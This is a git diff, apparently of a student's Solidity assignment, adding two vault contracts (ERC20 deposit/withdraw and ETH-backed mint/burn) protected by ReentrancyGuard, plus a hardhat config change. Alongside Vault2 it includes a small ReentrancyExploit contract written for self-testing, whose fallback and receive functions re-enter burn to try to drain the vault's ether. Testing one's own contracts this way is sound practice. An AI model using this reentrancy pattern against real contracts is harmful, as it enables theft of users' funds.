Krishna s

contracts/Vault1.sol

@@ -1,6 +1,33 @@
 //SPDX-License-Identifier: Unlicense
 pragma solidity ^0.8.4;
 
-contract Vault1 {
-
+import "@openzeppelin/contracts/interfaces/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+contract Vault1 is ReentrancyGuard {
+
+    IERC20 erc20Contract;
+    mapping(address => uint) balances;
+
+    constructor(IERC20 _erc20Contract) {
+        erc20Contract = _erc20Contract;
+    }
+
+    function deposit(uint _amount) external nonReentrant {
+        require(erc20Contract.transferFrom(msg.sender, address(this), _amount), "Transfer from sender failed");
+        balances[msg.sender] += _amount;
+    }
+
+    function withdraw(uint _amount) external nonReentrant {
+        require(balances[msg.sender] >= _amount, "Insufficient balance");
+        // first substract and then transfer to avoid reentry or other issues
+        balances[msg.sender] -= _amount;
+        require(erc20Contract.transfer(msg.sender, _amount), "Transfer to sender failed");
+    }
+
+    function getBalance(address addr) view external returns (uint) {
+        return balances[addr];
+    }
+
 }

contracts/Vault2.sol

@@ -1,6 +1,74 @@
 //SPDX-License-Identifier: Unlicense
 pragma solidity ^0.8.4;
 
-contract Vault2 {
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+import "@openzeppelin/contracts/utils/Address.sol";
+
+contract Vault2 is ERC20, ReentrancyGuard {
 
+    constructor() ERC20("Vault2", "VAULT") {}
+
+    function mint(uint _amount) payable external nonReentrant {
+        require(_amount == msg.value, "Amount of VAULT requested != Ether passed");
+
+        // Question says "user" but not does not explicitly say if a contract
+        // is allowed to mint or not. If we really only want EOA to mint and not 
+        // other contracts uncomment tIhe below line though this is not fool proof
+        // as per openzepplin docs.
+        //Address.isContract(msg.sender);
+        _mint(msg.sender, _amount);
+    }
+
+    function burn(uint _amount) external nonReentrant {
+        // question says "user" but not does not explicitly say if a contract
+        // is allowed to mint or not. f we really only want EOA to mint and not 
+        // other contracts uncomment the below line though this is not fool proof
+        // as per openzepplin docs.
+        //Address.isContract(msg.sender);
+        _burn(msg.sender, _amount);
+        (bool sent, ) = payable(msg.sender).call{value: _amount}("");
+        require(sent, "Failed to send Ether");
+    }
+
+    // Below functions I added for my convinience to try some 
+    // exploit testing. Not needed for assignment.
+    function getBalance() public view returns (uint) {
+        return address(this).balance;
+    }
+    function load() external payable {}
+}
+
+// Below contract I added for my convinience to try some 
+// exploit testing. Not needed for assignment.
+contract ReentrancyExploit {
+
+    Vault2 vault2Contract;
+
+    constructor(Vault2 _vault2Contract) payable {
+        vault2Contract = _vault2Contract;
+    }
+
+    function initiateAttack() external payable {
+        // first mint some VAULT by sending ether and
+        // then try burning VAULT and recieving as much 
+        // ether as possible.
+        uint amount = address(this).balance;
+        vault2Contract.mint{value: amount}(amount);
+        vault2Contract.burn(amount);
+    }
+
+    // default function trying to steal / burn all ether
+    // of vault2Contract
+    fallback() external payable {
+        vault2Contract.burn(1);
+    }
+
+    receive() external payable {
+        vault2Contract.burn(1);
+    }
+
+    function getBalance() public view returns (uint) {
+        return address(this).balance;
+    }
 }

hardhat.config.js

@@ -17,5 +17,14 @@ task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
  * @type import('hardhat/config').HardhatUserConfig
  */
 module.exports = {
-  solidity: "0.8.4",
+  solidity: {
+    version: "0.8.4",
+    settings: {
+      outputSelection: {
+        "*": {
+          "*": ["storageLayout"]
+        }
+      }
+    }
+  }
 };